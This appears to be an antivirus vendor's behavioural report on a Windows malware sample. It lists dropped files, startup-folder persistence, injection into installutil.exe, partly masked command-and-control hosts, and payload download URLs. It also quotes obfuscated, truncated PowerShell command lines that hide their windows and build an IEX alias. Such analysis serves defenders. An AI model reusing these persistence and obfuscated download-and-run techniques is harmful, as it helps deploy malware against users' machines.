Technical Information
To ensure autorun and distribution
Creates or modifies the following files
- %TEMP%\client.vbs
Malicious functions
Executes the following (exploit)
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -WindowStyle Hidden $ErrorActionPreference='SilentlyContinue';$z0=[Enum]::ToObject([System.Net.SecurityProtocolType],3072);[System.Net.ServicePointManager]::SecurityProtocol=$z0;$we22='eW.teN t...
Injects code into
the following system processes:
- %WINDIR%\microsoft.net\framework\v4.0.30319\installutil.exe
Modifies file system
Creates the following files
- %TEMP%\client.vbs
- %LOCALAPPDATA%\microsoft\windows\history\history.ie5\mshist012022070720220708\index.dat
- %TEMP%\b2df8f9f-b30e-458e-953c-b28715e9ecd1\agiledotnetrt64.dll
- %TEMP%\222bfcda-1119-4e86-8871-94dff8d808cc\agiledotnetrt64.dll
Modifies the following files
- %TEMP%\javadeployreg.log
Network activity
Connects to
- 'mc####eytighe.com':80
- 'ha####.cc.dvrlists.com':162
- 'ge###ugin.net':80
TCP
HTTP GET requests
- http://mc####eytighe.com/wpadmin/mac/Client.vbs
- http://mc####eytighe.com/wpadmin/attack.txt
- http://mc####eytighe.com/favicon.ico
- http://mc####eytighe.com/wpadmin/Encrypted%20Client%20OG.jpg
- http://ge###ugin.net/json.gp
Other
- 'ha####.cc.dvrlists.com':162
UDP
- DNS ASK mc####eytighe.com
- DNS ASK ha####.cc.dvrlists.com
- DNS ASK ge###ugin.net
Miscellaneous
Searches for the following windows
- ClassName: 'Static' WindowName: ''
- ClassName: 'MS_AutodialMonitor' WindowName: ''
- ClassName: 'MS_WebCheckMonitor' WindowName: ''
Creates and executes the following
- '<SYSTEM32>\wscript.exe' "%TEMP%\client.vbs"
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' Move-item '%TEMP%\client.vbs' -Destination '%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\client.vbs'
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' $t0='bE100'.replace('b','I').replace('100','x');sal P $t0;$gf=(00100100,01000101,01110010,01110010,01101111,01110010,01000001,01100011,01110100,01101001,01101111,01101110,01010000,01110010,0110...' (with hidden window)
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' Move-item '%TEMP%\client.vbs' -Destination '%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\client.vbs'' (with hidden window)
Executes the following
- '%ProgramFiles%\internet explorer\iexplore.exe' -Embedding
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' $t0='bE100'.replace('b','I').replace('100','x');sal P $t0;$gf=(00100100,01000101,01110010,01110010,01101111,01110010,01000001,01100011,01110100,01101001,01101111,01101110,01010000,01110010,0110...
- '%WINDIR%\microsoft.net\framework\v4.0.30319\installutil.exe'
